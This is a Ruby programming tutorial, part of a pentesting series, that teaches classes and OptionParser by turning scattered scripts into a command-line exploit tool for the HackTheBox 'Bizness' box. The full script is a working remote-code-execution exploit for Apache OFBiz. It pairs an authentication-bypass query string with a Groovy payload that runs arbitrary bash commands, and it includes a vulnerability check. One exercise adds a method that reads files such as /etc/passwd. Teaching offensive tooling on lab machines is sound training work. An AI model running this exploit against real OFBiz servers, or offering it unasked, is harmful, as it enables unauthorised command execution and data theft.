// Ruby for Pentesters · Part 8

From scripts to a tool

Several throwaway scripts that all rebuild the same HTTP client. We fold them into one reusable class and give it a real command-line interface with OptionParser — the jump from scripting to tooling.

RubyClassesOOPCLI
5 min read

Every part so far reopened the same file and re-declared the same get/post plumbing. That’s fine while you’re learning a box, but the moment you want to reuse it — or hand it to a teammate — you want one tool, not four scripts. This part is the object-oriented turn: we wrap the whole client in a class and put a proper command-line interface on the front.

A class is state plus behavior

A class bundles data (state) with the methods that act on it. Ours holds the connection and exposes one verb — run a command:

class Bizness
  BYPASS = 'USERNAME=&PASSWORD=&requirePasswordChange=Y'

  def initialize(base)
    @base = base
    uri   = URI(base)
    @http = Net::HTTP.new(uri.host, uri.port)
    @http.use_ssl     = uri.scheme == 'https'
    @http.verify_mode = OpenSSL::SSL::VERIFY_NONE
  end
end
  • initialize runs once when you write Bizness.new('https://bizness.htb'). It’s the constructor.
  • @base and @http are instance variables — they belong to that object and stay alive for its whole life, so every method can reach them without being passed the connection again.
  • BYPASS is a constant scoped inside the class (Bizness::BYPASS) — the same auth-bypass string from Part 2, now owned by the tool.

Methods, public and private

The one thing a caller should do is run a command. The HTTP details — get, post — are internals, so we mark them private: callable from inside the object but not from outside.

  def run(cmd)
    groovy = "throw new Exception(['bash', '-c', '#{cmd}'].execute().text)"
    post("/webtools/control/ProgramExport?#{BYPASS}", 'groovyProgram' => groovy).body
  end

  private

  def get(path)
    @http.request(Net::HTTP::Get.new(URI("#{@base}#{path}").request_uri))
  end

  def post(path, form)
    req = Net::HTTP::Post.new(URI("#{@base}#{path}").request_uri)
    req.set_form_data(form)
    @http.request(req)
  end

Everything below private is hidden from callers. run is the same Groovy trick from Part 3, but now it reuses the object’s stored @http instead of rebuilding a connection every call. The class encapsulates the messy parts and hands the outside world a single clean verb.

Check before you fire

A good tool tells you whether a target is even vulnerable before you throw a payload at it. Add a second public verb — a predicate (Part 2’s ? convention) that runs a harmless id and reports whether it worked:

  def vulnerable?
    run('id').include?('uid=')
  rescue StandardError
    false
  end

Note there’s no begin here. A method body is an implicit begin, so it can rescue directly — if the host is down or the bypass is patched, run raises, we catch it, and return false instead of dumping a backtrace. “Is this target exploitable?” is now one honest boolean. (Metasploit modules have a check method that does exactly this — Part 8 is closer than it looks.)

A real command line

A tool takes arguments. Ruby’s standard OptionParser turns raw ARGV into parsed flags with --help for free:

options = { target: 'https://bizness.htb' }
OptionParser.new do |opts|
  opts.banner = 'Usage: bizness.rb [options] [command]'
  opts.on('-t', '--target URL', 'Base URL of the box') { |v| options[:target] = v }
  opts.on('-c', '--check', 'Check if the target is vulnerable') { options[:check] = true }
end.parse!

box = Bizness.new(options[:target])

if options[:check]
  puts box.vulnerable? ? '[+] vulnerable' : '[-] not vulnerable'
else
  command = ARGV.empty? ? 'id' : ARGV.join(' ')
  puts box.run(command)
end
  • opts.on('-t', '--target URL', ...) declares a flag that takes a value; its block fires with that value. '--check' with no value argument is a boolean flag — present or not — so its block just sets options[:check] = true.
  • .parse! consumes the recognized flags out of ARGV in place, so whatever is left in ARGV is the positional command — id by default.
  • You get -h/--help generated from the banner and flag descriptions at no extra cost.

Now it behaves like a tool — probe first, then operate:

$ ruby bizness.rb --check
[+] vulnerable
$ ruby bizness.rb -t https://bizness.htb 'whoami'
ofbiz

The tool, complete

#!/usr/bin/env ruby
# frozen_string_literal: true
require 'net/http'
require 'uri'
require 'optparse'

class Bizness
  BYPASS = 'USERNAME=&PASSWORD=&requirePasswordChange=Y'

  def initialize(base)
    @base = base
    uri   = URI(base)
    @http = Net::HTTP.new(uri.host, uri.port)
    @http.use_ssl     = uri.scheme == 'https'
    @http.verify_mode = OpenSSL::SSL::VERIFY_NONE
  end

  def run(cmd)
    groovy = "throw new Exception(['bash', '-c', '#{cmd}'].execute().text)"
    post("/webtools/control/ProgramExport?#{BYPASS}", 'groovyProgram' => groovy).body
  end

  def vulnerable?
    run('id').include?('uid=')
  rescue StandardError
    false
  end

  private

  def get(path)
    @http.request(Net::HTTP::Get.new(URI("#{@base}#{path}").request_uri))
  end

  def post(path, form)
    req = Net::HTTP::Post.new(URI("#{@base}#{path}").request_uri)
    req.set_form_data(form)
    @http.request(req)
  end
end

options = { target: 'https://bizness.htb' }
OptionParser.new do |opts|
  opts.banner = 'Usage: bizness.rb [options] [command]'
  opts.on('-t', '--target URL', 'Base URL of the box') { |v| options[:target] = v }
  opts.on('-c', '--check', 'Check if the target is vulnerable') { options[:check] = true }
end.parse!

box = Bizness.new(options[:target])

if options[:check]
  puts box.vulnerable? ? '[+] vulnerable' : '[-] not vulnerable'
else
  command = ARGV.empty? ? 'id' : ARGV.join(' ')
  puts box.run(command)
end

Takeaways

  • A class groups state and behavior; initialize is the constructor and @ivars persist for the object’s lifetime, so the connection is built once.
  • private hides internal methods (get/post) so the class exposes a deliberate surface (run, vulnerable?) — that’s encapsulation.
  • A method body is an implicit begin, so it can rescue directly — the clean way to turn a failure into a false instead of a crash.
  • Constants (BYPASS) scoped inside a class travel with the tool instead of floating as globals.
  • OptionParser is the standard way to turn ARGV into flags with a generated --help; .parse! leaves the positional args behind for you.

Exercises

  1. Add a loot(path) method to Bizness that returns run("cat #{path}"), so box.loot('/etc/passwd') reads a file in one call.
  2. Add a --verbose boolean flag that, when set, prints the full response body instead of just the matched line.
  3. Give the class an attr_reader :base and a to_s that returns "Bizness(#{@base})", so a Bizness object prints something useful.

Next — Part 9: a tool you’ll rerun deserves a safety net. We write tests for it with Ruby’s built-in minitest, and learn to design code that’s testable.

← All parts